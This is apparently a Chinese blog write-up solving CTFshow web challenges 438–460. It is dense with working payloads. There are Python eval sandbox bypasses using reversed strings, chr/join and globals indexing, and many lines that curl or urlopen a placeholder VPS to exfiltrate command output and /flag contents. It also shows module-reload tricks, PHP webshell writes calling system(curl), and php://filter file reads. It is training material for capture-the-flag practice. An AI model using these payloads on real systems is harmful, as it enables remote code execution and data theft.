CTFSHOW | 其他篇题解(三)web438 - web460
前言
由于题目比较多,所以分三个部分来写,这是第三部分
题目列表
web438
这题跟web435方法一样,我们简单回顾一下过程
为了绕过限制,可以反转代码来执行,具体方法是用字符串切片方法来反转字符串
1 | ?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]) |
可以先用str在网页看原始代码,检查是否正确

然后套个exec执行这串代码就可以
payload:
1 | ?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
我们把它的源码爆出来看看
1 | ?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
1 | from flask import Flask |
这题比web437多过滤了{,但这个符号我们用不到,所以不影响
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |

web439
这题可以继续用上题的方法,我们把源码爆出来分析一下
1 | ?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
1 | from flask import Flask |
可以看到这题比上题多过滤了\x,\x 是一种转义序列,用来表示十六进制形式的字符,比如 \x41 代表 ASCII 字符 'A'
但是我们并没有用到这个,所以不影响
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
web440
这题把引号禁了,我们可以用chr构造字符串。先用ord返回unicode数值,然后再经过chr转换成字符即可,我们写个python脚本
payload:
1 | s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')" |
把结果拼接到网站GET发送
1 | ?code=你的代码运行结果 |
修改命令为cat /flag获取flag即可
web441
经过分析,这题把加号过滤了,放出部分源码看看
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+') |
那我们用join函数来拼接字符即可,例如.join(['1','2','3']),结果是 ‘123’。 join必须作为字符串的方法调用,即调用它的对象必须是字符串,所以前面要有字符串和点号(.)来调用该函数
payload:
1 | s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')" |
把结果拼接到网站GET发送
1 | ?code=你的代码运行结果 |
修改命令为cat /flag获取flag即可
web442
这题把数字过滤了
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]') |
我们用request.args.get方法获取参数值即可。request.args.get 是 Flask 框架中获取 URL 查询参数(即 GET 请求中 URL 中 ?key=value 部分参数)的方法
payload:
1 | ?code=str(exec(request.args.get(request.method)))&GET=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web443
把request过滤了,关键代码如下
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request') |
题目提示提交参数为POST,那我们后面用POST提交数据
这题我们可以继续用request.args.get,不过里面的request需要变换一下。我们打印全局变量出来看看
1 | code=str(globals()) |

可以看到里面有个键是request,我们要利用的就是这个。由于Python 中列表、元组、字符串等序列的索引是从 0 开始的,所以request所在的索引为10。又因为数字和加号被禁了,所以我们可以用True来表示1,用两个减号表示加号
因此10可以这么写
1 | True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True) |
然后用list(globals().keys())[]来获取对应的键名,再放进globals()[]获取对应的属性和方法,从而调用args.get()获取参数值
1 | globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]] |
可以把这个理解为request,那么request.args.get(request.method)就等于
1 | globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method) |
然后在路径后面拼接参数POST,传入代码即可
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`ls`') |
到这里,我们成功把代码弄好了,可以用str函数打印出来验证一下,POST传入
1 | code=str(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)) |

最后用exec函数运行代码即可
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web444
这题的附件把代码给出来了
1 | from flask import Flask |
这题把len过滤了,可以继续用上题的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web445
这题代码总体跟上题差不多,不过开头那里把os.system和os.popen去掉了

那直接调用肯定是不行的了,可以用reload函数重新加载os模块,然后再重新调用system函数
简单介绍一下reload,reload 是 Python 中用于重新加载已导入模块的函数。
作用
- Python 的模块在导入时会被缓存,后续再次导入同一模块时不会重新执行模块代码,而是直接使用缓存
reload函数可以让已经导入的模块重新执行代码,更新模块内容(相当于“刷新”模块),适合在开发或调试时修改代码后即时生效,而不需要重启程序
使用方法
- Python 2 中
reload()是内置函数,可以直接调用 - Python 3 中,
reload()被移到importlib模块中,需要先导入使用
我们POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
成功得到flag
web446
这题相比上题把imp.reload函数去掉了

imp 是 Python 早期用于动态加载模块的内置模块,在 Python 3.4 之后,imp 模块已被废弃,不再推荐使用,而是被更强大的 importlib 模块所取代
所以这题可以继续使用上题的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web447
对比一下代码

这题过滤了挺多东西,例如用于创建和管理子进程的subprocess模块和用于测量一小段代码执行时间的timeit模块,但是不影响我们用之前的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web448
对比一下代码

这题把好多模块都设置为None,sys.modules 是一个字典,记录了所有已加载的模块。键为模块名,值为模块对象
将 sys.modules[‘模块名’] 设为 None,可以让 Python 认为该模块已被加载,但实际值为 None。这会导致后续 import 该模块时,不再真正加载,而是返回 None(或者报错)
这时我们就不能用reload了,因为 Python 会在 sys.modules 里查找,发现值为 None,而不是模块对象,于是 import 或 reload 过程中会抛出 ModuleNotFoundError 异常
我们可以用shutil模块的copy函数把os.py复制到一个新文件下,然后重新导入新模块即可
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web449
这题把sys模块和importlib模块都禁用了,而且还删除了sys模块。之前的方法用不了

我们可以用urllib模块来发送网络请求,带出flag。urllib 是 Python 的一个标准库模块,用于处理和操作网页 URL,以及通过网络请求获取网页内容等功能。
主要功能
- urllib.request:用于打开和读取 URL,发送 HTTP/HTTPS 请求,并获取响应内容
- urllib.error:包含 urllib.request 相关的异常处理,如请求失败时的错误
- urllib.parse:用于解析 URL,包括分解和构造 URL 的各个部分
- urllib.robotparser:解析和处理网站的 robots.txt 文件,判断哪些网页允许爬取
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=a=open('/flag').read();from urllib.request import urlopen;urlopen('http://你的vps地址:端口?p='%2Ba) |
%2B表示加号,如果直接写加号会无法解析,需要先URL编码

web450

题目说执行phpinfo就可以拿到flag,看代码可知我们只要满足这个正则匹配即可执行代码,我们简单分析一下
^和$是锚点,表示匹配字符串的开始和结束[a-z]+表示匹配一个或多个小写英文字母[\^]表示匹配一个脱义的插入符号^
举个例子,也就是abc^def^ghi,满足正则匹配只要在中间加两个^即可。两个相同的字符异或,得到0,0和另一个字符异或,得到的便是另一个字符
payload:
1 | ?ctfshow=phpinfo^phpinfo^phpinfo |
然后搜索flag

web451

这题把phpinfo过滤了。前面提到,两个相同的字符异或,得到0,0和另一个字符异或,得到另一个字符,所以我们两两修改一下就好
payload:
1 | ?ctfshow=aaabbbb^phpbbbb^aaainfo |
web452

这题过滤了挺多东西,但操作空间依然很大,直接执行代码就可以
1 | ?ctfshow=echo `ls /`; |

然后读取flaag
payload:
1 | ?ctfshow=echo `cat /flaag`; |
后面在网上看了其他方法,可以用括号包住进行字符串拼接
1 | (php.info)(); |
web453
打开网站查看源代码,可以看到提示

我们GET传入
1 | /ctf/show?s=XXX |
POST传入
1 | s=index.php |
然后查看网页源码,可以看到index.php代码,下面展示部分代码
1 | class ctf{ |
也就是我们访问路径/ctf/file,然后POST传入内容,就会被写进shell.php。接着再访问路径/ctf/exec就可以执行shell.php的代码
同样的,我们用curl外带执行系统命令即可
首先GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec,最后在服务器查看结果即可

web454
跟上题一样,我们先查看源码
1 | class ctf{ |
这题把system换成include了,方法跟之前一样,只是最后的路径要改一下
GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/include,最后在服务器查看结果即可
web455
查看源码,这题比上题多了个reload函数,但是用处不大。同时include函数也改回exec函数了,可以用回web453的方法
1 | public function reload($request,$response){ |
GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec,最后在服务器查看结果
web456
除去reload函数,这题源码相比web453没怎么变,就只是改了end信息,因此可以继续用之前的方法

GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec,最后在服务器查看结果
web457
我们看看admin类
1 | class admin extends user{ |
简单分析一下
check()中调用了call_user_func($this->password):call_user_func用于调用回调函数,参数可以是函数名字符串或可调用变量- 这里
$this->password被当成函数名调用,函数执行的结果赋给$u
- 最后判断
$u是否等于'admin',相等则返回true,否则返回false
因此我们传入p=phpinfo触发函数使其返回值为True即可,然后传入u=admin
payload:
1 | ?u=admin&p=phpinfo |

web458
这题改为$u==='admin',变成强比较了
1 | class admin extends user{ |
因为类名为admin,我们可以给p传入get_class获取类名,然后再传入u=admin,就满足条件了
payload:
1 | ?u=admin&p=get_class |
web459

这题用了copy函数,PHP 中的copy()函数是用于复制文件的内置函数
语法
1 | bool copy ( string $source , string $dest [, resource $context ] ) |
$source:必需,要复制的源文件路径$dest:必需,目标文件路径(包含文件名)$context:可选的上下文资源
我们用php伪协议即可
payload:
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php&p=1 |
然后访问路径/1.php读取flag的base64编码,解码即可
web460
这题跟web449相比,多了一些时间检测的代码,我们看看关键部分

1 | @func_set_timeout(0.7) |

1 | try: |
有两个区别
1. 执行超时机制
使用了 func-timeout 库,为 run 函数设置了 0.7 秒的超时限制。这意味着如果传入的 code 执行时间超过 0.7 秒,程序会抛出 FunctionTimedOut 异常,从而中断执行
2. 随机延迟
在 run 函数中,执行 eval 之前有一个 time.sleep(random.random())。这会增加一个 0 到 1 秒之间的随机延迟
算上随机延迟,也就是我们传入的代码必须要执行时间小于0.7s
这题有些难,参考网上Y4tacker师傅的做法,可以配合urllib外带数据
payload:
1 | def getNumber3(number): |
把结果拼接进Body然后POST发送
1 | code=你的代码运行结果 |

简单解释一下这个代码
1 | s = 'import urllib.request;import ssl;f=open("/flag").read();context = ssl._create_unverified_context();url = "http://你的vps地址:端口?p="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)' |
import urllib.request:导入用于打开和读取 URL 的模块import ssl:导入处理 TLS/SSL 连接的模块f = open("/flag").read():打开根目录下的flag文件,读取内容,并赋值给变量fcontext = ssl._create_unverified_context():创建一个不验证 SSL 证书的上下文环境,避免因证书问题阻塞请求request = urllib.request.Request(url):创建针对该 URL 的 HTTP 请求response = urllib.request.urlopen(url=request, context=context):发送请求并获取响应,使用前面创建的 SSL 上下文
参考
yu22x:CTFSHOW其他篇
Y4tacker:[CTFSHOW]CTFSHOW-其他WP
CTFSHOW | 其他篇题解(三)web438 - web460
https://waynejoon.github.io/posts/ctfshow-others-3-web438-web460/